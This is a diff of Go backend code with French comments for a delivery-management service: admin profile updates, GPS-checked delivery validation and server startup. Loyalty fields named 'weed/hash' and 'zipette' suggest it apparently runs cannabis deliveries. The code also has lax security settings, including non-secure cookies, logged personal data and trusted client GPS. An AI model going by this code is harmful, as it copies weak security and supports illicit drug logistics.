||||
}
|
||||
|
||||
// Mise à jour du mot de passe
|
||||
if req.Password != "" {
|
||||
if len(req.Password) < 8 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Le mot de passe doit contenir au moins 8 caractères"})
|
||||
return
|
||||
}
|
||||
hashed, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Erreur bcrypt: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur traitement mot de passe"})
|
||||
return
|
||||
}
|
||||
client.Password = string(hashed)
|
||||
hasChanges = true
|
||||
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Mot de passe modifié")
|
||||
}
|
||||
|
||||
// Mise à jour du nom
|
||||
if req.Nom != "" && req.Nom != client.Nom {
|
||||
client.Nom = strings.TrimSpace(req.Nom)
|
||||
hasChanges = true
|
||||
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Nom modifié: %s", req.Nom)
|
||||
}
|
||||
|
||||
// Mise à jour du prénom
|
||||
if req.Prenom != "" && req.Prenom != client.Prenom {
|
||||
client.Prenom = strings.TrimSpace(req.Prenom)
|
||||
hasChanges = true
|
||||
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Prénom modifié: %s", req.Prenom)
|
||||
}
|
||||
|
||||
// Mise à jour du téléphone
|
||||
if req.Telephone != "" && req.Telephone != client.Telephone {
|
||||
if !validatePhoneNumber(req.Telephone) {
|
||||
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Téléphone invalide: %s", req.Telephone)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Numéro de téléphone invalide"})
|
||||
return
|
||||
}
|
||||
normalizedPhone := normalizePhoneNumber(req.Telephone)
|
||||
|
||||
// Vérifier que le téléphone n'est pas déjà utilisé
|
||||
if existingClient, _ := database.GetClientByTelephone(normalizedPhone); existingClient != nil && existingClient.ID != clientID {
|
||||
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Téléphone déjà utilisé: %s", normalizedPhone)
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Ce numéro de téléphone est déjà utilisé"})
|
||||
return
|
||||
}
|
||||
client.Telephone = normalizedPhone
|
||||
hasChanges = true
|
||||
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Téléphone modifié: %s", normalizedPhone)
|
||||
}
|
||||
|
||||
// ✅ CORRECTION: Mise à jour du compteur de commandes (Admin uniquement)
|
||||
// Vérifier explicitement si le champ est présent (même si valeur = 0)
|
||||
if req.Command != nil && *req.Command != client.Command {
|
||||
client.Command = *req.Command
|
||||
hasChanges = true
|
||||
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Commandes modifiées: %d → %d", client.Command, *req.Command)
|
||||
}
|
||||
|
||||
// ✅ CORRECTION: Mise à jour des points weed/hash (Admin uniquement)
|
||||
if req.Point != nil && *req.Point != client.Point {
|
||||
client.Point = *req.Point
|
||||
hasChanges = true
|
||||
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Points Weed modifiés: %d → %d", client.Point, *req.Point)
|
||||
}
|
||||
|
||||
// ✅ CORRECTION CRITIQUE: Mise à jour des points zipette (Admin uniquement)
|
||||
if req.PointsZipette != nil && *req.PointsZipette != client.PointZipette {
|
||||
client.PointZipette = *req.PointsZipette
|
||||
hasChanges = true
|
||||
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Points Zipette modifiés: %d → %d", client.PointZipette, *req.PointsZipette)
|
||||
}
|
||||
|
||||
// ✅ CORRECTION: Mise à jour des amendes (Admin uniquement)
|
||||
if req.Amende != nil && *req.Amende != client.Amende {
|
||||
client.Amende = *req.Amende
|
||||
hasChanges = true
|
||||
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Amendes modifiées: %.2f → %.2f", client.Amende, *req.Amende)
|
||||
}
|
||||
|
||||
if !hasChanges {
|
||||
log.Printf("ℹ️ [UPDATE_CLIENT_ADMIN] Aucune modification détectée pour client ID=%d", clientID)
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": "Aucune modification détectée",
|
||||
"client": sanitizeClient(client),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ LOG DEBUG - État avant sauvegarde
|
||||
log.Printf("📊 [UPDATE_CLIENT_ADMIN] État avant save - Command: %d, Point: %d, PointZipette: %d, Amende: %.2f",
|
||||
client.Command, client.Point, client.PointZipette, client.Amende)
|
||||
|
||||
// Sauvegarder les modifications
|
||||
if err := database.UpdateClient(client); err != nil {
|
||||
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Erreur mise à jour: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lors de la mise à jour"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [UPDATE_CLIENT_ADMIN] Client mis à jour par admin: %s (ID=%d)", client.Username, client.ID)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": "Client mis à jour avec succès",
|
||||
"client": sanitizeClient(client),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MODIFICATION PROFIL USER (PAR ADMIN)
|
||||
// ============================================
|
||||
|
||||
// UpdateUserByAdmin permet à un admin de modifier n'importe quel profil user
|
||||
// PUT /api/v2/admin/protected/users/:id
|
||||
func UpdateUserByAdmin(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// Récupérer l'ID de l'utilisateur à modifier
|
||||
userIDStr := c.Param("id")
|
||||
userID, err := strconv.Atoi(userIDStr)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID utilisateur invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req models.UpdateUserProfileRequest
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
log.Printf("❌ [UPDATE_USER_ADMIN] Erreur binding: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Données invalides",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer l'utilisateur actuel
|
||||
user, err := database.GetUserByID(userID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UPDATE_USER_ADMIN] User non trouvé: ID=%d", userID)
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Utilisateur non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier si des modifications sont demandées
|
||||
hasChanges := false
|
||||
|
||||
// Mise à jour du username
|
||||
if req.Username != "" && req.Username != user.Username {
|
||||
// Vérifier que le nouveau username n'existe pas
|
||||
if existingUser, _ := database.GetUserByUsername(req.Username); existingUser != nil {
|
||||
log.Printf("❌ [UPDATE_USER_ADMIN] Username déjà utilisé: %s", req.Username)
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
|
||||
return
|
||||
}
|
||||
user.Username = req.Username
|
||||
hasChanges = true
|
||||
}
|
||||
|
||||
// Mise à jour du mot de passe
|
||||
if req.Password != "" {
|
||||
if len(req.Password) < 8 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Le mot de passe doit contenir au moins 8 caractères"})
|
||||
return
|
||||
}
|
||||
hashed, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UPDATE_USER_ADMIN] Erreur bcrypt: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur traitement mot de passe"})
|
||||
return
|
||||
}
|
||||
user.Password = string(hashed)
|
||||
hasChanges = true
|
||||
}
|
||||
|
||||
// Mise à jour du rôle
|
||||
if req.Role != "" && req.Role != user.Role {
|
||||
// Valider le rôle
|
||||
validRoles := map[string]bool{
|
||||
"admin": true,
|
||||
"cabine": true,
|
||||
"livreur": true,
|
||||
}
|
||||
if !validRoles[req.Role] {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Rôle invalide. Valeurs acceptées: admin, cabine, livreur",
|
||||
})
|
||||
return
|
||||
}
|
||||
user.Role = req.Role
|
||||
hasChanges = true
|
||||
}
|
||||
|
||||
if !hasChanges {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": "Aucune modification détectée",
|
||||
"user": sanitizeUser(user),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Sauvegarder les modifications
|
||||
if err := database.UpdateUser(user); err != nil {
|
||||
log.Printf("❌ [UPDATE_USER_ADMIN] Erreur mise à jour: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lors de la mise à jour"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [UPDATE_USER_ADMIN] User mis à jour par admin: %s (ID=%d, Role=%s)", user.Username, user.ID, user.Role)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": "Utilisateur mis à jour avec succès",
|
||||
"user": sanitizeUser(user),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// UTILITAIRES
|
||||
// ============================================
|
||||
|
||||
func sanitizeClient(client *models.Client) gin.H {
|
||||
return gin.H{
|
||||
"id": client.ID,
|
||||
"username": client.Username,
|
||||
"nom": client.Nom,
|
||||
"prenom": client.Prenom,
|
||||
"telephone": client.Telephone,
|
||||
"command": client.Command,
|
||||
"point": client.Point,
|
||||
"points_zipette": client.PointZipette, // ✅ AJOUTÉ
|
||||
"amende": client.Amende,
|
||||
}
|
||||
}
|
||||
|
||||
func sanitizeUser(user *models.User) gin.H {
|
||||
return gin.H{
|
||||
"id": user.ID,
|
||||
"username": user.Username,
|
||||
"role": user.Role,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,409 @@
|
||||
// ============================================
|
||||
// handlers/delivery_validation_handler.go - CLEAN VERSION
|
||||
// VALIDATION LIVRAISON AVEC VÉRIFICATION PROXIMITÉ GPS
|
||||
//
|
||||
// ⚠️ IMPORTANT: Ce fichier contient UNIQUEMENT les fonctions livreur
|
||||
// Les fonctions ADMIN sont dans cabine_handlers.go
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"gestion/services"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// CONSTANTES DE CONFIGURATION
|
||||
// ============================================
|
||||
|
||||
const (
|
||||
// Distance maximale en mètres pour valider une livraison
|
||||
MAX_DELIVERY_VALIDATION_DISTANCE_METERS = 100 // 100 mètres
|
||||
|
||||
// Distance maximale en kilomètres
|
||||
MAX_DELIVERY_VALIDATION_DISTANCE_KM = 0.1 // 100 mètres = 0.1 km
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// 1️⃣ VALIDATION LIVRAISON PAR LE LIVREUR (AVEC VÉRIFICATION GPS)
|
||||
// ============================================
|
||||
|
||||
func ValidateDeliveryByLivreur(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ: Livreur seulement
|
||||
username, exists := c.Get("username")
|
||||
if !exists || c.GetString("role") != "livreur" {
|
||||
log.Printf("❌ [VALIDATE_LIVREUR] Accès refusé")
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Latitude float64 `json:"latitude" binding:"required"`
|
||||
Longitude float64 `json:"longitude" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
log.Printf("❌ [VALIDATE_LIVREUR] Erreur JSON: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Coordonnées GPS requises",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📍 [VALIDATE_LIVREUR] Livreur %s valide cmd %d avec GPS: (%.6f, %.6f)",
|
||||
usernameStr, commandID, req.Latitude, req.Longitude)
|
||||
|
||||
// ✅ ÉTAPE 1: Récupérer la commande
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [VALIDATE_LIVREUR] Commande non trouvée")
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ ÉTAPE 2: VÉRIFIER PROPRIÉTÉ
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
if livreurAssign != usernameStr {
|
||||
log.Printf("❌ [VALIDATE_LIVREUR] ⚠️ TENTATIVE D'ACCÈS NON AUTORISÉ!")
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Cette commande ne vous est pas assignée",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ ÉTAPE 3: VALIDATION GPS (CRITIQUE)
|
||||
destLat, _ := command["dest_latitude"].(float64)
|
||||
destLon, _ := command["dest_longitude"].(float64)
|
||||
|
||||
distance := calculateDistance(req.Latitude, req.Longitude, destLat, destLon)
|
||||
log.Printf("📍 [VALIDATE_LIVREUR] Distance: %.2f m (limite: 100m)", distance)
|
||||
|
||||
// ✅ SÉCURITÉ GPS: Doit être à moins de 100 mètres
|
||||
if distance > 100 {
|
||||
log.Printf("❌ [VALIDATE_LIVREUR] Trop loin! Distance: %.2f m", distance)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Vous êtes trop loin de la destination",
|
||||
"required_distance": 100,
|
||||
"current_distance": fmt.Sprintf("%.2f", distance),
|
||||
"unit": "meters",
|
||||
"destination_coords": gin.H{
|
||||
"latitude": destLat,
|
||||
"longitude": destLon,
|
||||
},
|
||||
"your_coords": gin.H{
|
||||
"latitude": req.Latitude,
|
||||
"longitude": req.Longitude,
|
||||
},
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [VALIDATE_LIVREUR] GPS VALIDÉ - Distance: %.2f m < 100m", distance)
|
||||
|
||||
// ✅ ÉTAPE 4: Sauvegarder les coordonnées du livreur
|
||||
_, err = database.Exec(
|
||||
"UPDATE commandes SET livreur_latitude = $1, livreur_longitude = $2 WHERE id = $3",
|
||||
req.Latitude, req.Longitude, commandID,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [VALIDATE_LIVREUR] Erreur sauvegarde GPS: %v", err)
|
||||
}
|
||||
|
||||
// ✅ ÉTAPE 5: Marquer la livraison comme "livre"
|
||||
if err := database.UpdateCommandStatus(commandID, "livre"); err != nil {
|
||||
log.Printf("❌ [VALIDATE_LIVREUR] Erreur update statut: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur validation",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ ÉTAPE 6: Ajouter un log
|
||||
database.AddCommandLog(commandID, "livre",
|
||||
fmt.Sprintf("Livraison confirmée par livreur - Distance: %.2f m", distance),
|
||||
usernameStr)
|
||||
|
||||
// ✅ ÉTAPE 7: Optimiser la queue
|
||||
log.Printf("📦 [VALIDATE_LIVREUR] Optimisation queue de %s...", usernameStr)
|
||||
err = database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [VALIDATE_LIVREUR] Erreur optimisation: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ [VALIDATE_LIVREUR] Commande %d validée et marquée 'livre'", commandID)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Livraison validée avec succès",
|
||||
"command_id": commandID,
|
||||
"new_status": "livre",
|
||||
"distance": fmt.Sprintf("%.2f", distance),
|
||||
"gps_verified": true,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 2️⃣ VÉRIFIER SI LE LIVREUR PEUT VALIDER (SANS VALIDER)
|
||||
// ============================================
|
||||
|
||||
// CheckDeliveryValidationEligibility vérifie si le livreur peut valider une livraison
|
||||
// GET /api/v1/deliveries/:id/can-validate
|
||||
func CheckDeliveryValidationEligibility(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
||||
return
|
||||
}
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "livreur" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||
return
|
||||
}
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier l'assignation
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
if livreurAssign != username.(string) {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"can_validate": false,
|
||||
"reason": "Commande non assignée à vous",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer la position du livreur
|
||||
livreurLat, livreurLon, err := database.GetDeliveryPersonLocation(username.(string))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"can_validate": false,
|
||||
"reason": "Position GPS non disponible",
|
||||
"action": "Mettez à jour votre position GPS",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer les coordonnées de destination (même priorité que ValidateDeliveryByLivreur)
|
||||
var destLat, destLon float64
|
||||
var coordsSource string
|
||||
|
||||
// ✅ PRIORITÉ 1: Cache Redis
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
destData, redisErr := db.Redis.Get(db.RedisCtx, destCacheKey).Result()
|
||||
if redisErr == nil && destData != "" {
|
||||
var coords struct {
|
||||
Lat float64 `json:"lat"`
|
||||
Lon float64 `json:"lon"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(destData), &coords); err == nil && coords.Lat != 0 && coords.Lon != 0 {
|
||||
destLat = coords.Lat
|
||||
destLon = coords.Lon
|
||||
coordsSource = "REDIS"
|
||||
log.Printf("📍 [CAN-VALIDATE] Coords depuis Redis: (%.6f, %.6f)", destLat, destLon)
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ PRIORITÉ 2: DB
|
||||
if coordsSource == "" {
|
||||
if dLat, ok := getFloatFromMap(command, "dest_latitude"); ok && dLat != 0 {
|
||||
destLat = dLat
|
||||
}
|
||||
if dLon, ok := getFloatFromMap(command, "dest_longitude"); ok && dLon != 0 {
|
||||
destLon = dLon
|
||||
}
|
||||
if destLat != 0 && destLon != 0 {
|
||||
coordsSource = "DB"
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ PRIORITÉ 3: Géocodage
|
||||
if coordsSource == "" {
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
address, _ := command["adresse"].(string)
|
||||
if address != "" && address != "Adresse non spécifiée" {
|
||||
location, err := geoService.GeocodeAddress(address)
|
||||
if err == nil {
|
||||
destLat = location.Latitude
|
||||
destLon = location.Longitude
|
||||
coordsSource = "GEOCODING"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if destLat == 0 || destLon == 0 {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"can_validate": false,
|
||||
"reason": "Coordonnées de destination non disponibles",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Calculer la distance
|
||||
distance := services.CalculateDistance(
|
||||
services.Coordinates{Latitude: livreurLat, Longitude: livreurLon},
|
||||
services.Coordinates{Latitude: destLat, Longitude: destLon},
|
||||
)
|
||||
|
||||
distanceMeters := distance * 1000
|
||||
canValidate := distance <= MAX_DELIVERY_VALIDATION_DISTANCE_KM
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"can_validate": canValidate,
|
||||
"your_position": gin.H{
|
||||
"latitude": livreurLat,
|
||||
"longitude": livreurLon,
|
||||
},
|
||||
"destination": gin.H{
|
||||
"latitude": destLat,
|
||||
"longitude": destLon,
|
||||
"address": command["adresse"],
|
||||
"source": coordsSource,
|
||||
},
|
||||
"distance_meters": int(distanceMeters),
|
||||
"max_allowed_meters": MAX_DELIVERY_VALIDATION_DISTANCE_METERS,
|
||||
"remaining_meters": maxInt(0, int(distanceMeters)-MAX_DELIVERY_VALIDATION_DISTANCE_METERS),
|
||||
"message": func() string {
|
||||
if canValidate {
|
||||
return "Vous pouvez valider cette livraison"
|
||||
}
|
||||
return fmt.Sprintf("Rapprochez-vous de %.0f mètres pour valider", distanceMeters-float64(MAX_DELIVERY_VALIDATION_DISTANCE_METERS))
|
||||
}(),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 3️⃣ DÉMARRER UNE LIVRAISON (PASSER EN IN_ROUTE)
|
||||
// ============================================
|
||||
|
||||
// StartDelivery permet au livreur de démarrer une livraison (passage en in_transit)
|
||||
// POST /api/v1/deliveries/:id/start
|
||||
func StartDelivery(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists || c.GetString("role") != "livreur" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Latitude float64 `json:"latitude"`
|
||||
Longitude float64 `json:"longitude"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Coordonnées GPS requises",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("🚗 [START] %s démarre livraison cmd %d", usernameStr, commandID)
|
||||
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier propriété
|
||||
livreurAssign, _ := command["livreur_assign"].(string)
|
||||
if livreurAssign != usernameStr {
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Cette commande ne vous est pas assignée",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier le statut actuel
|
||||
currentStatus, _ := command["status"].(string)
|
||||
if currentStatus != "support" && currentStatus != "assigned" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Impossible de démarrer cette livraison",
|
||||
"current_status": currentStatus,
|
||||
"message": "La commande doit être en statut 'support' ou 'assigned'",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Mettre à jour le statut en "en_route"
|
||||
if err := database.UpdateCommandStatus(commandID, "en_route"); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur mise à jour statut",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Mettre à jour la position du livreur
|
||||
database.UpdateLivreurPosition(usernameStr, req.Latitude, req.Longitude, "busy")
|
||||
|
||||
// Mettre à jour le statut du livreur
|
||||
database.SetDeliveryPersonStatus(usernameStr, "busy", commandID)
|
||||
|
||||
// Ajouter un log
|
||||
database.AddCommandLog(commandID, "en_route",
|
||||
fmt.Sprintf("Livraison démarrée par %s", usernameStr),
|
||||
usernameStr)
|
||||
|
||||
log.Printf("✅ [START] Livraison %d démarrée", commandID)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Livraison démarrée",
|
||||
"command_id": commandID,
|
||||
"status": "en_route",
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HELPERS
|
||||
// ============================================
|
||||
|
||||
func maxInt(a, b int) int {
|
||||
if a > b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -0,0 +1,191 @@
|
||||
// ============================================
|
||||
// main.go - VERSION SIMPLIFIÉE AVEC CLEANUP AUTO
|
||||
// ============================================
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"gestion/db"
|
||||
"gestion/routes"
|
||||
"gestion/services"
|
||||
"gestion/workers"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
|
||||
"github.com/gin-contrib/cors"
|
||||
"github.com/gin-contrib/sessions"
|
||||
"github.com/gin-contrib/sessions/cookie"
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/joho/godotenv"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// Chargement des variables d'environnement
|
||||
if err := godotenv.Load(); err != nil {
|
||||
log.Println("⚠️ Aucun fichier .env trouvé, utilisation des valeurs par défaut.")
|
||||
}
|
||||
|
||||
// Initialisation de la base de données
|
||||
database := db.InitDB()
|
||||
defer database.Close()
|
||||
log.Printf("✅ Database initialisée: %+v", database)
|
||||
// Initialisation de Redis
|
||||
db.InitRedis()
|
||||
defer db.Redis.Close()
|
||||
log.Println("✅ Redis initialisé avec succès")
|
||||
|
||||
// Initialisation du service de géolocalisation
|
||||
geoService := services.NewGeoService(db.Redis, db.RedisCtx)
|
||||
log.Println("✅ Service de géolocalisation initialisé")
|
||||
|
||||
// ============================================
|
||||
// 🧹 NETTOYAGE INITIAL DES COMMANDES INVALIDES
|
||||
// ============================================
|
||||
log.Println("")
|
||||
log.Println("🧹 Démarrage du nettoyage des commandes invalides...")
|
||||
removed, err := database.CleanupInvalidQueueCommands()
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur lors du nettoyage initial: %v", err)
|
||||
} else {
|
||||
if removed > 0 {
|
||||
log.Printf("✅ Nettoyage initial terminé: %d commandes invalides supprimées", removed)
|
||||
} else {
|
||||
log.Println("✅ Nettoyage initial: Aucune commande invalide trouvée")
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 🔄 DÉMARRAGE DU SCHEDULER DE NETTOYAGE AUTO
|
||||
// ============================================
|
||||
go database.StartQueueCleanupScheduler()
|
||||
log.Println("✅ Scheduler de nettoyage démarré (toutes les 5 min)")
|
||||
|
||||
// ============================================
|
||||
// 🔄 SYNCHRONISATION DES STATUTS LIVREURS
|
||||
// ============================================
|
||||
if err := database.SyncAllDeliverymanStatuses(); err != nil {
|
||||
log.Printf("⚠️ Erreur synchronisation statuts: %v", err)
|
||||
} else {
|
||||
log.Println("✅ Synchronisation des statuts livreurs terminée")
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ⭐ DÉMARRAGE DU CRON JOB AUTO-ASSIGNATION
|
||||
// ============================================
|
||||
go workers.StartAutoAssignmentCron(database, geoService)
|
||||
log.Println("✅ Cron job auto-assignation démarré (5 min)")
|
||||
|
||||
// Démarrage des workers Redis en arrière-plan
|
||||
go workers.StartRedisWorkers(database)
|
||||
log.Println("✅ Workers Redis démarrés")
|
||||
gin.SetMode(gin.ReleaseMode)
|
||||
r := gin.Default()
|
||||
|
||||
// Configuration des sessions
|
||||
store := cookie.NewStore([]byte(os.Getenv("SESSION_SECRET")))
|
||||
store.Options(sessions.Options{
|
||||
Path: "/",
|
||||
Domain: "",
|
||||
MaxAge: 3600,
|
||||
HttpOnly: true,
|
||||
Secure: false,
|
||||
SameSite: http.SameSiteLaxMode,
|
||||
})
|
||||
r.Use(sessions.Sessions("mysession", store))
|
||||
|
||||
// Configuration CORS
|
||||
r.Use(cors.New(cors.Config{
|
||||
AllowOrigins: []string{"http://172.20.167.237", "http://localhost:5173", "http://localhost:8080", "http://192.168.1.72"},
|
||||
AllowMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
||||
AllowHeaders: []string{"Origin", "Content-Type", "Accept", "Authorization"},
|
||||
ExposeHeaders: []string{"Content-Length"},
|
||||
AllowCredentials: true,
|
||||
}))
|
||||
|
||||
// Middleware pour injecter la base de données et geoService
|
||||
r.Use(func(c *gin.Context) {
|
||||
c.Set("database", database)
|
||||
c.Set("geoService", geoService)
|
||||
c.Next()
|
||||
})
|
||||
|
||||
// Fichiers statiques
|
||||
r.Static("/uploads", "./uploads")
|
||||
|
||||
// ============================================
|
||||
// ENREGISTRER TOUTES LES ROUTES
|
||||
// ============================================
|
||||
routes.SetupRoutes(r, database, geoService)
|
||||
|
||||
// ============================================
|
||||
// LANCEMENT DU SERVEUR
|
||||
// ============================================
|
||||
printServerInfo()
|
||||
|
||||
if err := r.Run(":8080"); err != nil {
|
||||
log.Fatalf("❌ Erreur au lancement du serveur : %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// printServerInfo affiche les infos du serveur au démarrage
|
||||
func printServerInfo() {
|
||||
log.Println("")
|
||||
log.Println("═══════════════════════════════════════════════════════════")
|
||||
log.Println("🚀 Serveur lancé sur http://localhost:8080")
|
||||
log.Println("═══════════════════════════════════════════════════════════")
|
||||
log.Println("")
|
||||
